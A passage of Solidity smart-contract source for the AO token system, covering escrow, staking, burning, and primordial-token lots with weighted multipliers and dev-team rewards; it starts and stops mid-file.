stakedBalance[_from] = stakedBalance[_from].sub(_value); // Subtract from the targeted staked balance
balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance
emit Unstake(_from, _value);
return true;
}
/**
* @dev Store `_value` from `_from` to `_to` in escrow
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of network tokens to put in escrow
* @return true on success
*/
function escrowFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) {
require (balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
escrowedBalance[_to] = escrowedBalance[_to].add(_value); // Add to the targeted escrowed balance
emit Escrow(_from, _to, _value);
return true;
}
/**
* @dev Create `mintedAmount` tokens and send it to `target` escrow balance
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive in escrow
*/
function mintTokenEscrow(address target, uint256 mintedAmount) public inWhitelist returns (bool) {
escrowedBalance[target] = escrowedBalance[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Escrow(this, target, mintedAmount);
return true;
}
/**
* @dev Release escrowed `_value` from `_from`
* @param _from The address of the sender
* @param _value The amount of escrowed network tokens to be released
* @return true on success
*/
function unescrowFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (escrowedBalance[_from] >= _value); // Check if the targeted escrowed balance is enough
escrowedBalance[_from] = escrowedBalance[_from].sub(_value); // Subtract from the targeted escrowed balance
balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance
emit Unescrow(_from, _value);
return true;
}
/**
*
* @dev Whitelisted address remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
/**
* @dev Whitelisted address transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function whitelistTransferFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool success) {
_transfer(_from, _to, _value);
return true;
}
/***** PUBLIC METHODS *****/
/**
* @dev Buy tokens from contract by sending ether
*/
function buy() public payable {
require (buyPrice > 0);
uint256 amount = msg.value.div(buyPrice);
_transfer(this, msg.sender, amount);
}
/**
* @dev Sell `amount` tokens to contract
* @param amount The amount of tokens to be sold
*/
function sell(uint256 amount) public {
require (sellPrice > 0);
address myAddress = this;
require (myAddress.balance >= amount.mul(sellPrice));
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount.mul(sellPrice));
}
/***** INTERNAL METHODS *****/
/**
* @dev Send `_value` tokens from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
*/
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require (!frozenAccount[_from]); // Check if sender is frozen
require (!frozenAccount[_to]); // Check if recipient is frozen
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* @dev Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive
*/
function _mintToken(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
}
/**
* @title AOToken
*/
contract AOToken is AOTokenInterface {
using SafeMath for uint256;
address public settingTAOId;
address public aoSettingAddress;
// AO Dev Team addresses to receive Primordial/Network Tokens
address public aoDevTeam1 = 0x5C63644D01Ba385eBAc5bcf2DDc1e6dBC1182b52;
address public aoDevTeam2 = 0x156C79bf4347D1891da834Ea30662A14177CbF28;
AOSetting internal _aoSetting;
/***** PRIMORDIAL TOKEN VARIABLES *****/
uint256 public primordialTotalSupply;
uint256 public primordialTotalBought;
uint256 public primordialSellPrice;
uint256 public primordialBuyPrice;
// Total available primordial token for sale 1,125,899,906,842,620 AO+
uint256 constant public TOTAL_PRIMORDIAL_FOR_SALE = 1125899906842620;
mapping (address => uint256) public primordialBalanceOf;
mapping (address => mapping (address => uint256)) public primordialAllowance;
// Mapping from owner's lot weighted multiplier to the amount of staked tokens
mapping (address => mapping (uint256 => uint256)) public primordialStakedBalance;
event PrimordialTransfer(address indexed from, address indexed to, uint256 value);
event PrimordialApproval(address indexed _owner, address indexed _spender, uint256 _value);
event PrimordialBurn(address indexed from, uint256 value);
event PrimordialStake(address indexed from, uint256 value, uint256 weightedMultiplier);
event PrimordialUnstake(address indexed from, uint256 value, uint256 weightedMultiplier);
uint256 public totalLots;
uint256 public totalBurnLots;
uint256 public totalConvertLots;
bool public networkExchangeEnded;
/**
* Stores Lot creation data (during network exchange)
*/
struct Lot {
bytes32 lotId;
uint256 multiplier; // This value is in 10^6, so 1000000 = 1
address lotOwner;
uint256 tokenAmount;
}
/**
* Struct to store info when account burns primordial token
*/
struct BurnLot {
bytes32 burnLotId;
address lotOwner;
uint256 tokenAmount;
}
/**
* Struct to store info when account converts network token to primordial token
*/
struct ConvertLot {
bytes32 convertLotId;
address lotOwner;
uint256 tokenAmount;
}
// Mapping from Lot ID to Lot object
mapping (bytes32 => Lot) internal lots;
// Mapping from Burn Lot ID to BurnLot object
mapping (bytes32 => BurnLot) internal burnLots;
// Mapping from Convert Lot ID to ConvertLot object
mapping (bytes32 => ConvertLot) internal convertLots;
// Mapping from owner to list of owned lot IDs
mapping (address => bytes32[]) internal ownedLots;
// Mapping from owner to list of owned burn lot IDs
mapping (address => bytes32[]) internal ownedBurnLots;
// Mapping from owner to list of owned convert lot IDs
mapping (address => bytes32[]) internal ownedConvertLots;
// Mapping from owner to his/her current weighted multiplier
mapping (address => uint256) internal ownerWeightedMultiplier;
// Mapping from owner to his/her max multiplier (multiplier of account's first Lot)
mapping (address => uint256) internal ownerMaxMultiplier;
// Event to be broadcasted to public when a lot is created
// multiplier value is in 10^6 to account for 6 decimal points
event LotCreation(address indexed lotOwner, bytes32 indexed lotId, uint256 multiplier, uint256 primordialTokenAmount, uint256 networkTokenBonusAmount);
// Event to be broadcasted to public when burn lot is created (when account burns primordial tokens)
event BurnLotCreation(address indexed lotOwner, bytes32 indexed burnLotId, uint256 burnTokenAmount, uint256 multiplierAfterBurn);
// Event to be broadcasted to public when convert lot is created (when account convert network tokens to primordial tokens)
event ConvertLotCreation(address indexed lotOwner, bytes32 indexed convertLotId, uint256 convertTokenAmount, uint256 multiplierAfterBurn);
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address _settingTAOId, address _aoSettingAddress)
AOTokenInterface(initialSupply, tokenName, tokenSymbol) public {
settingTAOId = _settingTAOId;
aoSettingAddress = _aoSettingAddress;
_aoSetting = AOSetting(_aoSettingAddress);
powerOfTen = 0;
decimals = 0;
setPrimordialPrices(0, 10000); // Set Primordial buy price to 10000 Wei/token
}
/**
* @dev Checks if buyer can buy primordial token
*/
modifier canBuyPrimordial(uint256 _sentAmount) {
require (networkExchangeEnded == false && primordialTotalBought < TOTAL_PRIMORDIAL_FOR_SALE && primordialBuyPrice > 0 && _sentAmount > 0);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Set AO Dev team addresses to receive Primordial/Network tokens during network exchange
* @param _aoDevTeam1 The first AO dev team address
* @param _aoDevTeam2 The second AO dev team address
*/
function setAODevTeamAddresses(address _aoDevTeam1, address _aoDevTeam2) public onlyTheAO {
aoDevTeam1 = _aoDevTeam1;
aoDevTeam2 = _aoDevTeam2;
}
/***** PRIMORDIAL TOKEN The AO ONLY METHODS *****/
/**
* @dev Allow users to buy Primordial tokens for `newBuyPrice` eth and sell Primordial tokens for `newSellPrice` eth
* @param newPrimordialSellPrice Price users can sell to the contract
* @param newPrimordialBuyPrice Price users can buy from the contract
*/
function setPrimordialPrices(uint256 newPrimordialSellPrice, uint256 newPrimordialBuyPrice) public onlyTheAO {
primordialSellPrice = newPrimordialSellPrice;
primordialBuyPrice = newPrimordialBuyPrice;
}
/***** PRIMORDIAL TOKEN WHITELISTED ADDRESS ONLY METHODS *****/
/**
* @dev Stake `_value` Primordial tokens at `_weightedMultiplier ` multiplier on behalf of `_from`
* @param _from The address of the target
* @param _value The amount of Primordial tokens to stake
* @param _weightedMultiplier The weighted multiplier of the Primordial tokens
* @return true on success
*/
function stakePrimordialTokenFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) {
// Check if the targeted balance is enough
require (primordialBalanceOf[_from] >= _value);
// Make sure the weighted multiplier is the same as account's current weighted multiplier
require (_weightedMultiplier == ownerWeightedMultiplier[_from]);
// Subtract from the targeted balance
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value);
// Add to the targeted staked balance
primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].add(_value);
emit PrimordialStake(_from, _value, _weightedMultiplier);
return true;
}
/**
* @dev Unstake `_value` Primordial tokens at `_weightedMultiplier` on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to unstake
* @param _weightedMultiplier The weighted multiplier of the Primordial tokens
* @return true on success
*/
function unstakePrimordialTokenFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) {
// Check if the targeted staked balance is enough
require (primordialStakedBalance[_from][_weightedMultiplier] >= _value);
// Subtract from the targeted staked balance
primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].sub(_value);
// Add to the targeted balance
primordialBalanceOf[_from] = primordialBalanceOf[_from].add(_value);
emit PrimordialUnstake(_from, _value, _weightedMultiplier);
return true;
}
/**
* @dev Send `_value` primordial tokens to `_to` on behalf of `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function whitelistTransferPrimordialTokenFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) {
bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]);
Lot memory _lot = lots[_createdLotId];
// Make sure the new lot is created successfully
require (_lot.lotOwner == _to);
// Update the weighted multiplier of the recipient
ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value);
// Transfer the Primordial tokens
require (_transferPrimordialToken(_from, _to, _value));
emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0);
return true;
}
/***** PUBLIC METHODS *****/
/***** Primordial TOKEN PUBLIC METHODS *****/
/**
* @dev Buy Primordial tokens from contract by sending ether
*/
function buyPrimordialToken() public payable canBuyPrimordial(msg.value) {
(uint256 tokenAmount, uint256 remainderBudget, bool shouldEndNetworkExchange) = _calculateTokenAmountAndRemainderBudget(msg.value);
require (tokenAmount > 0);
// Ends network exchange if necessary
if (shouldEndNetworkExchange) {
networkExchangeEnded = true;
}
// Send the primordial token to buyer and reward AO devs
_sendPrimordialTokenAndRewardDev(tokenAmount, msg.sender);
// Send remainder budget back to buyer if exist
if (remainderBudget > 0) {
msg.sender.transfer(remainderBudget);
}
}
/**
* @dev Send `_value` Primordial tokens to `_to` from your account
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function transferPrimordialToken(address _to, uint256 _value) public returns (bool success) {
bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[msg.sender]);
Lot memory _lot = lots[_createdLotId];
// Make sure the new lot is created successfully
require (_lot.lotOwner == _to);
// Update the weighted multiplier of the recipient
ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[msg.sender], _value);
// Transfer the Primordial tokens
require (_transferPrimordialToken(msg.sender, _to, _value));
emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0);
return true;
}
/**
* @dev Send `_value` Primordial tokens to `_to` from `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function transferPrimordialTokenFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_value <= primordialAllowance[_from][msg.sender]);
primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value);
bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]);
Lot memory _lot = lots[_createdLotId];
// Make sure the new lot is created successfully
require (_lot.lotOwner == _to);
// Update the weighted multiplier of the recipient
ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value);
// Transfer the Primordial tokens
require (_transferPrimordialToken(_from, _to, _value));
emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0);
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` Primordial tokens in your behalf
* @param _spender The address authorized to spend
* @param _value The max amount they can spend
* @return true on success
*/
function approvePrimordialToken(address _spender, uint256 _value) public returns (bool success) {
primordialAllowance[msg.sender][_spender] = _value;
emit PrimordialApproval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` Primordial tokens in your behalf, and then ping the contract about it
* @param _spender The address authorized to spend
* @param _value The max amount they can spend
* @param _extraData some extra information to send to the approved contract
* @return true on success
*/
function approvePrimordialTokenAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approvePrimordialToken(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* @dev Remove `_value` Primordial tokens from the system irreversibly
* and re-weight the account's multiplier after burn
* @param _value The amount to burn
* @return true on success
*/
function burnPrimordialToken(uint256 _value) public returns (bool success) {
require (primordialBalanceOf[msg.sender] >= _value);
require (calculateMaximumBurnAmount(msg.sender) >= _value);
// Update the account's multiplier
ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterBurn(msg.sender, _value);
primordialBalanceOf[msg.sender] = primordialBalanceOf[msg.sender].sub(_value);
primordialTotalSupply = primordialTotalSupply.sub(_value);
// Store burn lot info
_createBurnLot(msg.sender, _value);
emit PrimordialBurn(msg.sender, _value);
return true;
}
/**
* @dev Remove `_value` Primordial tokens from the system irreversibly on behalf of `_from`
* and re-weight `_from`'s multiplier after burn
* @param _from The address of sender
* @param _value The amount to burn
* @return true on success
*/
function burnPrimordialTokenFrom(address _from, uint256 _value) public returns (bool success) {
require (primordialBalanceOf[_from] >= _value);
require (primordialAllowance[_from][msg.sender] >= _value);
require (calculateMaximumBurnAmount(_from) >= _value);
// Update `_from`'s multiplier
ownerWeightedMultiplier[_from] = calculateMultiplierAfterBurn(_from, _value);
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value);
primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value);
primordialTotalSupply = primordialTotalSupply.sub(_value);
// Store burn lot info
_createBurnLot(_from, _value);
emit PrimordialBurn(_from, _value);
return true;
}
/**
* @dev Return all lot IDs owned by an address
* @param _lotOwner The address of the lot owner
* @return array of lot IDs
*/
function lotIdsByAddress(address _lotOwner) public view returns (bytes32[]) {
return ownedLots[_lotOwner];
}
/**
* @dev Return the total lots owned by an address
* @param _lotOwner The address of the lot owner
* @return total lots owner by the address
*/
function totalLotsByAddress(address _lotOwner) public view returns (uint256) {
return ownedLots[_lotOwner].length;
}
/**
* @dev Return the lot information at a given index of the lots list of the requested owner
* @param _lotOwner The address owning the lots list to be accessed
* @param _index uint256 representing the index to be accessed of the requested lots list
* @return id of the lot
* @return The address of the lot owner
* @return multiplier of the lot in (10 ** 6)
* @return Primordial token amount in the lot
*/
function lotOfOwnerByIndex(address _lotOwner, uint256 _index) public view returns (bytes32, address, uint256, uint256) {
require (_index < ownedLots[_lotOwner].length);
Lot memory _lot = lots[ownedLots[_lotOwner][_index]];
return (_lot.lotId, _lot.lotOwner, _lot.multiplier, _lot.tokenAmount);
}
/**
* @dev Return the lot information at a given ID
* @param _lotId The lot ID in question
* @return id of the lot
* @return The lot owner address
* @return multiplier of the lot in (10 ** 6)
* @return Primordial token amount in the lot
*/
function lotById(bytes32 _lotId) public view returns (bytes32, address, uint256, uint256) {
Lot memory _lot = lots[_lotId];
return (_lot.lotId, _lot.lotOwner, _lot.multiplier, _lot.tokenAmount);
}
/**
* @dev Return all Burn Lot IDs owned by an address
* @param _lotOwner The address of the burn lot owner
* @return array of Burn Lot IDs
*/
function burnLotIdsByAddress(address _lotOwner) public view returns (bytes32[]) {
return ownedBurnLots[_lotOwner];
}
/**
* @dev Return the total burn lots owned by an address
* @param _lotOwner The address of the burn lot owner
* @return total burn lots owner by the address
*/
function totalBurnLotsByAddress(address _lotOwner) public view returns (uint256) {
return ownedBurnLots[_lotOwner].length;
}
/**
* @dev Return the burn lot information at a given ID
* @param _burnLotId The burn lot ID in question
* @return id of the lot
* @return The address of the burn lot owner
* @return Primordial token amount in the burn lot
*/
function burnLotById(bytes32 _burnLotId) public view returns (bytes32, address, uint256) {
BurnLot memory _burnLot = burnLots[_burnLotId];
return (_burnLot.burnLotId, _burnLot.lotOwner, _burnLot.tokenAmount);
}
/**
* @dev Return all Convert Lot IDs owned by an address
* @param _lotOwner The address of the convert lot owner
* @return array of Convert Lot IDs
*/
function convertLotIdsByAddress(address _lotOwner) public view returns (bytes32[]) {
return ownedConvertLots[_lotOwner];
}
/**
* @dev Return the total convert lots owned by an address
* @param _lotOwner The address of the convert lot owner
* @return total convert lots owner by the address
*/
function totalConvertLotsByAddress(address _lotOwner) public view returns (uint256) {
return ownedConvertLots[_lotOwner].length;
}
/**
* @dev Return the convert lot information at a given ID
* @param _convertLotId The convert lot ID in question
* @return id of the lot
* @return The address of the convert lot owner
* @return Primordial token amount in the convert lot
*/
function convertLotById(bytes32 _convertLotId) public view returns (bytes32, address, uint256) {
ConvertLot memory _convertLot = convertLots[_convertLotId];
return (_convertLot.convertLotId, _convertLot.lotOwner, _convertLot.tokenAmount);
}
/**
* @dev Return the average weighted multiplier of all lots owned by an address
* @param _lotOwner The address of the lot owner
* @return the weighted multiplier of the address (in 10 ** 6)
*/
function weightedMultiplierByAddress(address _lotOwner) public view returns (uint256) {
return ownerWeightedMultiplier[_lotOwner];
}
/**
* @dev Return the max multiplier of an address
* @param _target The address to query
* @return the max multiplier of the address (in 10 ** 6)
*/
function maxMultiplierByAddress(address _target) public view returns (uint256) {
return (ownedLots[_target].length > 0) ? ownerMaxMultiplier[_target] : 0;
}
/**
* @dev Calculate the primordial token multiplier, bonus network token percentage, and the
* bonus network token amount on a given lot when someone purchases primordial token
* during network exchange
* @param _purchaseAmount The amount of primordial token intended to be purchased
* @return The multiplier in (10 ** 6)
* @return The bonus percentage
* @return The amount of network token as bonus
*/
function calculateMultiplierAndBonus(uint256 _purchaseAmount) public view returns (uint256, uint256, uint256) {
(uint256 startingPrimordialMultiplier, uint256 endingPrimordialMultiplier, uint256 startingNetworkTokenBonusMultiplier, uint256 endingNetworkTokenBonusMultiplier) = _getSettingVariables();
return (
AOLibrary.calculatePrimordialMultiplier(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingPrimordialMultiplier, endingPrimordialMultiplier),
AOLibrary.calculateNetworkTokenBonusPercentage(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier),
AOLibrary.calculateNetworkTokenBonusAmount(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier)
);
}
/**
* @dev Calculate the maximum amount of Primordial an account can burn
* @param _account The address of the account
* @return The maximum primordial token amount to burn
*/
function calculateMaximumBurnAmount(address _account) public view returns (uint256) {
return AOLibrary.calculateMaximumBurnAmount(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], ownerMaxMultiplier[_account]);
}
/**
* @dev Calculate account's new multiplier after burn `_amountToBurn` primordial tokens
* @param _account The address of the account
* @param _amountToBurn The amount of primordial token to burn
* @return The new multiplier in (10 ** 6)
*/
function calculateMultiplierAfterBurn(address _account, uint256 _amountToBurn) public view returns (uint256) {
require (calculateMaximumBurnAmount(_account) >= _amountToBurn);
return AOLibrary.calculateMultiplierAfterBurn(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToBurn);
}
/**
* @dev Calculate account's new multiplier after converting `amountToConvert` network token to primordial token
* @param _account The address of the account
* @param _amountToConvert The amount of network token to convert
* @return The new multiplier in (10 ** 6)
*/
function calculateMultiplierAfterConversion(address _account, uint256 _amountToConvert) public view returns (uint256) {
return AOLibrary.calculateMultiplierAfterConversion(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToConvert);
}
/**
* @dev Convert `_value` of network tokens to primordial tokens
* and re-weight the account's multiplier after conversion
* @param _value The amount to convert
* @return true on success
*/
function convertToPrimordial(uint256 _value) public returns (bool success) {
require (balanceOf[msg.sender] >= _value);
// Update the account's multiplier
ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterConversion(msg.sender, _value);
// Burn network token
burn(_value);
// mint primordial token
_mintPrimordialToken(msg.sender, _value);
// Store convert lot info
totalConvertLots++;
// Generate convert lot Id
bytes32 convertLotId = keccak256(abi.encodePacked(this, msg.sender, totalConvertLots));
// Make sure no one owns this lot yet
require (convertLots[convertLotId].lotOwner == address(0));
ConvertLot storage convertLot = convertLots[convertLotId];
convertLot.convertLotId = convertLotId;
convertLot.lotOwner = msg.sender;
convertLot.tokenAmount = _value;
ownedConvertLots[msg.sender].push(convertLotId);
emit ConvertLotCreation(convertLot.lotOwner, convertLot.convertLotId, convertLot.tokenAmount, ownerWeightedMultiplier[convertLot.lotOwner]);
return true;
}
/***** NETWORK TOKEN & PRIMORDIAL TOKEN METHODS *****/
/**
* @dev Send `_value` network tokens and `_primordialValue` primordial tokens to `_to` from your account
* @param _to The address of the recipient
* @param _value The amount of network tokens to send
* @param _primordialValue The amount of Primordial tokens to send
* @return true on success
*/
function transferTokens(address _to, uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.transfer(_to, _value));
require (transferPrimordialToken(_to, _primordialValue));
return true;
}
/**
* @dev Send `_value` network tokens and `_primordialValue` primordial tokens to `_to` from `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of network tokens tokens to send
* @param _primordialValue The amount of Primordial tokens to send
* @return true on success
*/
function transferTokensFrom(address _from, address _to, uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.transferFrom(_from, _to, _value));
require (transferPrimordialTokenFrom(_from, _to, _primordialValue));
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` network tokens and `_primordialValue` Primordial tokens in your behalf
* @param _spender The address authorized to spend
* @param _value The max amount of network tokens they can spend
* @param _primordialValue The max amount of network tokens they can spend
* @return true on success
*/
function approveTokens(address _spender, uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.approve(_spender, _value));
require (approvePrimordialToken(_spender, _primordialValue));
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` network tokens and `_primordialValue` Primordial tokens in your behalf, and then ping the contract about it
* @param _spender The address authorized to spend
* @param _value The max amount of network tokens they can spend
* @param _primordialValue The max amount of Primordial Tokens they can spend
* @param _extraData some extra information to send to the approved contract
* @return true on success
*/
function approveTokensAndCall(address _spender, uint256 _value, uint256 _primordialValue, bytes _extraData) public returns (bool success) {
require (super.approveAndCall(_spender, _value, _extraData));
require (approvePrimordialTokenAndCall(_spender, _primordialValue, _extraData));
return true;
}
/**
* @dev Remove `_value` network tokens and `_primordialValue` Primordial tokens from the system irreversibly
* @param _value The amount of network tokens to burn
* @param _primordialValue The amount of Primordial tokens to burn
* @return true on success
*/
function burnTokens(uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.burn(_value));
require (burnPrimordialToken(_primordialValue));
return true;
}
/**
* @dev Remove `_value` network tokens and `_primordialValue` Primordial tokens from the system irreversibly on behalf of `_from`
* @param _from The address of sender
* @param _value The amount of network tokens to burn
* @param _primordialValue The amount of Primordial tokens to burn
* @return true on success
*/
function burnTokensFrom(address _from, uint256 _value, uint256 _primordialValue) public returns (bool success) {
require (super.burnFrom(_from, _value));
require (burnPrimordialTokenFrom(_from, _primordialValue));
return true;
}
/***** INTERNAL METHODS *****/
/***** PRIMORDIAL TOKEN INTERNAL METHODS *****/
/**
* @dev Calculate the amount of token the buyer will receive and remaining budget if exist
* when he/she buys primordial token
* @param _budget The amount of ETH sent by buyer
* @return uint256 of the tokenAmount the buyer will receiver
* @return uint256 of the remaining budget, if exist
* @return bool whether or not the network exchange should end
*/
function _calculateTokenAmountAndRemainderBudget(uint256 _budget) internal view returns (uint256, uint256, bool) {
// Calculate the amount of tokens
uint256 tokenAmount = _budget.div(primordialBuyPrice);
// If we need to return ETH to the buyer, in the case
// where the buyer sends more ETH than available primordial token to be purchased
uint256 remainderEth = 0;
// Make sure primordialTotalBought is not overflowing
bool shouldEndNetworkExchange = false;
if (primordialTotalBought.add(tokenAmount) >= TOTAL_PRIMORDIAL_FOR_SALE) {
tokenAmount = TOTAL_PRIMORDIAL_FOR_SALE.sub(primordialTotalBought);
shouldEndNetworkExchange = true;
remainderEth = msg.value.sub(tokenAmount.mul(primordialBuyPrice));
}
return (tokenAmount, remainderEth, shouldEndNetworkExchange);
}
/**
* @dev Actually sending the primordial token to buyer and reward AO devs accordingly
* @param tokenAmount The amount of primordial token to be sent to buyer
* @param to The recipient of the token
*/
function _sendPrimordialTokenAndRewardDev(uint256 tokenAmount, address to) internal {
(uint256 startingPrimordialMultiplier,, uint256 startingNetworkTokenBonusMultiplier, uint256 endingNetworkTokenBonusMultiplier) = _getSettingVariables();
// Update primordialTotalBought
(uint256 multiplier, uint256 networkTokenBonusPercentage, uint256 networkTokenBonusAmount) = calculateMultiplierAndBonus(tokenAmount);
primordialTotalBought = primordialTotalBought.add(tokenAmount);
_createPrimordialLot(to, tokenAmount, multiplier, networkTokenBonusAmount);
// Calculate The AO and AO Dev Team's portion of Primordial and Network Token Bonus
uint256 inverseMultiplier = startingPrimordialMultiplier.sub(multiplier); // Inverse of the buyer's multiplier
uint256 theAONetworkTokenBonusAmount = (startingNetworkTokenBonusMultiplier.sub(networkTokenBonusPercentage).add(endingNetworkTokenBonusMultiplier)).mul(tokenAmount).div(AOLibrary.PERCENTAGE_DIVISOR());
if (aoDevTeam1 != address(0)) {
_createPrimordialLot(aoDevTeam1, tokenAmount.div(2), inverseMultiplier, theAONetworkTokenBonusAmount.div(2));
}
if (aoDevTeam2 != address(0)) {
_createPrimordialLot(aoDevTeam2, tokenAmount.div(2), inverseMultiplier, theAONetworkTokenBonusAmount.div(2));
}
_mintToken(theAO, theAONetworkTokenBonusAmount);
}
/**
* @dev Create a lot with `primordialTokenAmount` of primordial tokens with `_multiplier` for an `account`
* during network exchange, and reward `_networkTokenBonusAmount` if exist
* @param _account Address of the lot owner
* @param _primordialTokenAmount The amount of primordial tokens to be stored in the lot
* @param _multiplier The multiplier for this lot in (10 ** 6)
* @param _networkTokenBonusAmount The network token bonus amount
*/
function _createPrimordialLot(address _account, uint256 _primordialTokenAmount, uint256 _multiplier, uint256 _networkTokenBonusAmount) internal {
totalLots++;
// Generate lotId
bytes32 lotId = keccak256(abi.encodePacked(this, _account, totalLots));
// Make sure no one owns this lot yet
require (lots[lotId].lotOwner == address(0));
Lot storage lot = lots[lotId];
lot.lotId = lotId;
lot.multiplier = _multiplier;
lot.lotOwner = _account;
lot.tokenAmount = _primordialTokenAmount;
ownedLots[_account].push(lotId);
ownerWeightedMultiplier[_account] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_account], primordialBalanceOf[_account], lot.multiplier, lot.tokenAmount);
// If this is the first lot, set this as the max multiplier of the account
if (ownedLots[_account].length == 1) {
ownerMaxMultiplier[_account] = lot.multiplier;
}
_mintPrimordialToken(_account, lot.tokenAmount);
_mintToken(_account, _networkTokenBonusAmount);
emit LotCreation(lot.lotOwner, lot.lotId, lot.multiplier, lot.tokenAmount, _networkTokenBonusAmount);
}
/**
* @dev Create `mintedAmount` Primordial tokens and send it to `target`
* @param target Address to receive the Primordial tokens
* @param mintedAmount The amount of Primordial tokens it will receive
*/
function _mintPrimordialToken(address target, uint256 mintedAmount) internal {
primordialBalanceOf[target] = primordialBalanceOf[target].add(mintedAmount);
primordialTotalSupply = primordialTotalSupply.add(mintedAmount);
emit PrimordialTransfer(0, this, mintedAmount);
emit PrimordialTransfer(this, target, mintedAmount);
}
/**
* @dev Create a lot with `tokenAmount` of tokens at `weightedMultiplier` for an `account`
* @param _account Address of lot owner
* @param _tokenAmount The amount of tokens
* @param _weightedMultiplier The multiplier of the lot (in 10^6)
* @return bytes32 of new created lot ID
*/
function _createWeightedMultiplierLot(address _account, uint256 _tokenAmount, uint256 _weightedMultiplier) internal returns (bytes32) {
require (_account != address(0));
